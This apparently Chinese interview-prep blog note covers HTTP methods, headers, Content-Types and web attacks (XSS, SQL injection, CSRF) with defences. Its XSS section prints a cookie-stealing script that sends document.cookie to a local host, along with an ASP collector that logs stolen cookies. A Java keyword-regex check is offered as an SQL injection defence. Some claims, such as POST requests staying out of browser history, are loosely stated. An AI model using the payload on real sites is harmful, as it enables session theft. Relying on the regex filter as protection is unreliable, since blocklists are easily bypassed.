Para 0
该部分主要讲诉了网络安全，HTTP头部，请求类型等模块的基本概念和高频考点。
Para 1 请求类型
HTTP请求类型有很多，比如get，post等，下面是一些常见请求的名称和对应的含义。
get：请求指定的页面信息，并返回实体主体
post：向指定资源提交数据并进行处理请求。数据被包含在请求体中，post请求可能会导致新的资源的建立或已有资源的修改
head：类似于get请求，只不过返回的响应中没有具体的内容，用于获取报头
options：允许客户端查看服务器的性能
put：从客户端向服务器传送的数据取代指定的文档的内容
delete：请求服务器删除指定的页面
trace：回显服务器收到的请求，主要用于测试或诊断
connect：http/1.1协议中预留给能够将连接改为管道方式的代理服务器
这里我们就主要分析常见的2种请求：GET，POST。
这两个请求也是面试的高频问点，此概念是需要我们去掌握的。
| GET | POST | |
|---|---|---|
| 后退按钮/刷新 | 无害 | 数据会被重新提交（浏览器应该告知用户数据会被重新提交）。 |
| 缓存 | 能被缓存 | 不能缓存 |
| 编码类型 | application/x-www-form-urlencoded | application/x-www-form-urlencoded 或 multipart/form-data。为二进制数据使用多重编码。 |
| 对数据长度的限制 | 是的。当发送数据时，GET 方法向 URL 添加数据；URL 的长度是受限制的（URL 的最大长度是 2048 个字符）。 | 无限制。 |
| 对数据类型的限制 | 只允许 ASCII 字符。 | 没有限制。也允许二进制数据。 |
| 安全性 | 与 POST 相比，GET 的安全性较差，因为所发送的数据是 URL 的一部分。在发送密码或其他敏感信息时绝不要使用 GET ！ | POST 比 GET 更安全，因为参数不会被保存在浏览器历史或 web 服务器日志中。 |
| 可见性 | 数据在 URL 中对所有人都是可见的。 | 数据不会显示在 URL 中。 |
有关 GET 请求的其他一些注释：
- GET 请求可被缓存
- GET 请求保留在浏览器历史记录中
- GET 请求不应在处理敏感数据时使用
- GET 请求有长度限制
- GET 请求只应当用于取回数据
有关 POST 请求的其他一些注释：
- POST 请求不会被缓存
- POST 请求不会保留在浏览器历史记录中
- POST 不能被收藏为书签
- POST 请求对数据长度没有要求
tips：
各个浏览器在地址栏支持URL的长度
Safari 最大长度限制为80000字节
Opera 最大长度限制为190000字节
Chrome 最大长度限制为8182字节
IE 最大长度限制为2048字节
Firefox 最大长度限制为65536字节
Para 2 HTTP头部
Para 2.1 Request header
:authority: silkroad.csdn.net
:method: GET
:path: 请求地址
:scheme: https
accept: application/json, text/javascript, */*; q=0.01
accept-encoding: gzip, deflate, br
accept-language: zh-CN,zh;q=0.9
cache-control: no-cache
content-type: application/json
origin: https://blog.csdn.net
pragma: no-cache
referer: *****
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36
accept：接收的数据类型。
accept-encoding：接收的数据格式。
accept-language：接收的语言。
content-type：当前请求的格式。
user-agent：User Agent中文名为用户代理，是Http协议中的一部分，属于头域的组成部分，User Agent也简称UA。
cache-control：缓存控制。
origin：请求首部字段 Origin 指示了请求来自于哪个站点。该字段仅指示服务器名称，并不包含任何路径信息。
referer：Referer 请求头包含了当前请求页面的来源页面的地址，即表示当前页面是通过此来源页面里的链接进入的。
Referer请求头可能暴露用户的浏览历史，涉及到用户的隐私问题。
Para 2.2 Response header
Cache-Control: private
Connection: keep-alive
Content-Encoding: gzip
Content-Type: text/html;charset=utf-8
Date: Sun, 21 Mar 2021 11:04:04 GMT
Expires: Sun, 21 Mar 2021 11:04:04 GMT
Server: BWS/1.1
Set-Cookie: BDSVRTM=92; path=/
Set-Cookie: ****
Traceid: ****
Transfer-Encoding: chunked
X-Ua-Compatible: IE=Edge,chrome=1
Connection：保持请求连接。
Content-Encoding：编码压缩格式。
Content-Type：请求上下文类型。
Server：服务器类型。
还有其他头部可以在文章 《HTTP头部详解》中找到。
Para 2.3 高频考点
user-agent，Content-Type，Connection，cache-control，Content-Encoding这几个需要重点掌握，同时我们需要知道不同的请求也许对应了不同的Content-Type。
常见ContentType如下所示。
text/html ：HTML格式
text/plain ：纯文本格式
text/xml ：XML格式
image/gif ：gif图片格式
image/jpeg ：jpg图片格式
image/png ：png图片格式
application/xml： XML数据格式
application/json： JSON数据格式
application/pdf： pdf格式
application/msword： Word文档格式
application/octet-stream ： 二进制流数据（如文件下载）
application/x-www-form-urlencoded form表单数据被编码为key/value格式发送到服务器（表单默认的提交数据的格式）。
multipart/form-data ： 表单上传文件。
Para 3 网络安全
Para 3.1 XSS
Para 3.1.1 定义
跨站脚本（Cross-Site Scripting，简称为XSS或跨站脚本或跨站脚本攻击）是一种针对网站应用程序的安全漏洞攻击技术，是代码注入的一种。它允许恶意用户将代码注入网页，其他用户在浏览网页时就会受到影响。恶意用户利用XSS代码攻击成功后，可能层到很高的权限（如执行一些操作）、私密网页内容、会话和cookie等各种内容。
XSS攻击可以分为三种：反射型、存储型和DOM型。
Para 3.1.2 例子
反射型：非持久性，此类工具具有一次性。
攻击方式：攻击者通过电子邮件等方式将包含XSS代码的恶意链接发送给目标用户。当目标用户访问该链接时，服务器接收该目标用户的请求并进行处理，然后服务器把带有XSS代码的数据发送给目标用户的浏览器，浏览器解析这段带有XSS代码的恶意脚本后，就会触发XSS漏洞。
存储型：存储型XSS又称持久型XSS，攻击脚本将被永久地存放在目标服务器的数据库或文件中，具有很高的隐蔽性。
攻击方式：这种攻击多见于论坛、博客和留言板，攻击者在发帖的过程中，将恶意脚本连同正常信息一起注入帖子的内容中。随着帖子被服务器存储下来，恶意脚本也永久地被存放在服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的帖子时，恶意脚本会在他们的浏览器中得到执行。
例如：恶意攻击者在留言板中加入以下代码。
<script>alert('hacker by hacker')</script>
这个xss只是弹出了一个alert设想一下，假如对方的xss是获取访问当前人的登陆Cookie并发送到指定邮箱呢？下面是利用xss攻击窃取Cookie的代码。
<script>document.location=’[http://127.0.0.1/1.asp?msg=](http://127.0.0.1/1.asp?msg=)’+document.cookie</script>
<%
Thisfile=Server.MapPath(“cookie.txt”)
Msg=Request(“msg”)
Setfs=server.CreateObject(“scripting.filesystemobject”)
Setthisfile=fs.OpenTextFile(thsfile,8True,0)
thisfile.WriteLine(“======cookie:”&msg&”=====byXSS”)
Thisfile.close
Setfs=nothing
%>
DOM型：DOM全称Document Object Model，使用DOM可以使程序和脚本能够动态访问和更新文档的内容、结构及样式。
攻击方式：用户请求一个经过专门设计的URL，它由攻击者提交，而且其中包含XSS代码。服务器的响应不会以任何形式包含攻击者的脚本。当用户的浏览器处理这个响应时，DOM对象就会处理XSS代码，导致存在XSS漏洞。
例如：我们在动态渲染dom的时候使用了innerHTML。
Para 3.1.3 解决或避免方案
1.对重要的cookie设置httpOnly, 防止客户端通过document.cookie读取cookie。服务端可以设置此字段。
2.编码：不能对用户输入的内容都保持原样，对用户输入的数据进行字符实体编码。对于字符实体的概念可以参考文章底部给出的参考链接。
3.解码：原样显示内容的时候必须解码，不然显示不到内容了。
4.过滤：把输入的一些不合法的东西都过滤掉，从而保证安全性。如移除用户上传的DOM属性，如onerror，移除用户上传的Style节点，iframe, script节点等。
5.处理用户输入的数据。
6.存在一个parse函数，对输入的数据进行处理，返回处理之后的数据
7.对输入的数据（如DOM节点）进行解码。
8.dom渲染对特殊符号进行转译。
9.避免使用innerHTML。
Para 3.2 SQL注入
Para 3.2.1 原理
SQL注入就是指Web应用程序对用户输入数据的合法性没有判断，前端传入后端的参数是攻击者可控的，并且参数带入数据库查询，攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作。
SQL注入漏洞的产生需要满足以下两个条件。
- 参数用户可控：前端传给后端的参数内容是用户可以控制的。
- 参数带入数据库查询：传入的参数拼接到SQL语句，且带入数据库查询。
Para 3.2.2 解决或避免方案
关于SQL注入的修复建议：
- 过滤危险字符，在后端对于危险字符进行正则匹配。
- 使用预编译语句，不要直接拼接到对应的sql语句中去。
Para 3.3 CSRF攻击
Para 3.3.1 原理
CSRF（Cross-site request forgery，跨站请求伪造）也被称为One Click Attack或者Session Riding，通常缩写为CSRF或者XSRF，是一种对网站的恶意利用。尽管听起来像跨站脚本（XSS），但它与XSS非常不同，XSS利用站点内的信任用户，而CSRF则通过伪装成受信任用户请求受信任的网站。与XSS攻击相比，CSRF攻击往往不大流行（因此对其进行防范的资源也相当稀少）也难以防范，所以被认为比XSS更具危险性。
CSRF工具有2个重点：
- 目标已经登陆了网站，并且能够执行网站的功能。
- 目标用户访问了攻击者构造的URL。
Para 3.3.2 解决或避免方案
- 验证请求的Referer值，如果Referer是以自己的网站开头的域名，则说明该请求来自网站自己，是合法的。如果Referer是其他网站域名或空白，就有可能是CSRF攻击，那么服务器应拒绝该请求，但是此方法存在被绕过的可能。
- CSRF攻击之所以能够成功，是因为攻击者可以伪造用户的请求，由此可知，抵御CSRF攻击的关键在于：在请求中放入攻击者不能伪造的信息。例如可以在HTTP请求中以参数的形式加入一个随机产生的token，并在服务器端验证token，如果请求中没有token或者token的内容不正确，则认为该请求可能是CSRF攻击从而拒绝该请求。
下面是一个java的避免SQL注入的demo
public static boolean containsSqlInjection(String sql){
Pattern pattern= Pattern.compile("\\b(and|exec|insert|select|drop|grant|alter|delete|update|count|chr|mid|master|truncate|char|declare|or)\\b|(\\*|;|\\+|'|%)");
Matcher matcher=pattern.matcher(sql.toString().toLowerCase());
return matcher.find();
}
Para 3.4 其他安全问题
其实涉及到的网络安全还有很多，毕竟有黑就有白，所以作为一个开发我们必须具备一定的信息安全素养，避免因为不安全的编码给自己和公司造成损失。
